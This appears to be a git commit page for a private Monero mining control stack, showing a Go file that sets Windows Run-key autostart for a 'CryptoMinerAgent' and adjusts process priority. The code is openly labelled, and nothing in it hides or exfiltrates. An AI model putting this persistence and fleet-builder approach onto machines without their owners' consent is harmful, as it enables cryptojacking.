Complete private Monero miner control stack.

Implement Windows agent with RandomX mining and WebSocket fleet reporting, wire dashboard settings into the builder with saved exe paths, and add project README.
This commit is contained in:
drjones
2026-05-26 22:51:47 -07:00
commit 6c42f2b600
48 changed files with 10001 additions and 0 deletions

57
agent/deploy/windows.go Normal file
View File

@@ -0,0 +1,57 @@
package deploy
import (
"fmt"
"os"
"os/exec"
"path/filepath"
"golang.org/x/sys/windows/registry"
)
func ConfigureAutoStart(exePath string, enabled bool) error {
if !enabled {
return removeAutoStart()
}
k, _, err := registry.CreateKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.SET_VALUE)
if err != nil {
return err
}
defer k.Close()
return k.SetStringValue("CryptoMinerAgent", exePath)
}
func removeAutoStart() error {
k, err := registry.OpenKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.SET_VALUE)
if err != nil {
return nil
}
defer k.Close()
_ = k.DeleteValue("CryptoMinerAgent")
return nil
}
func SetProcessPriority(priority string) error {
// Best-effort on Windows using PowerShell for the current process.
class := "BelowNormal"
switch priority {
case "idle":
class = "Idle"
case "below_normal":
class = "BelowNormal"
case "normal":
class = "Normal"
case "above_normal":
class = "AboveNormal"
case "high":
class = "High"
}
pid := os.Getpid()
cmd := exec.Command("powershell", "-NoProfile", "-Command",
fmt.Sprintf("(Get-Process -Id %d).PriorityClass = '%s'", pid, class))
return cmd.Run()
}
func CurrentExecutable() (string, error) {
return filepath.Abs(os.Args[0])
}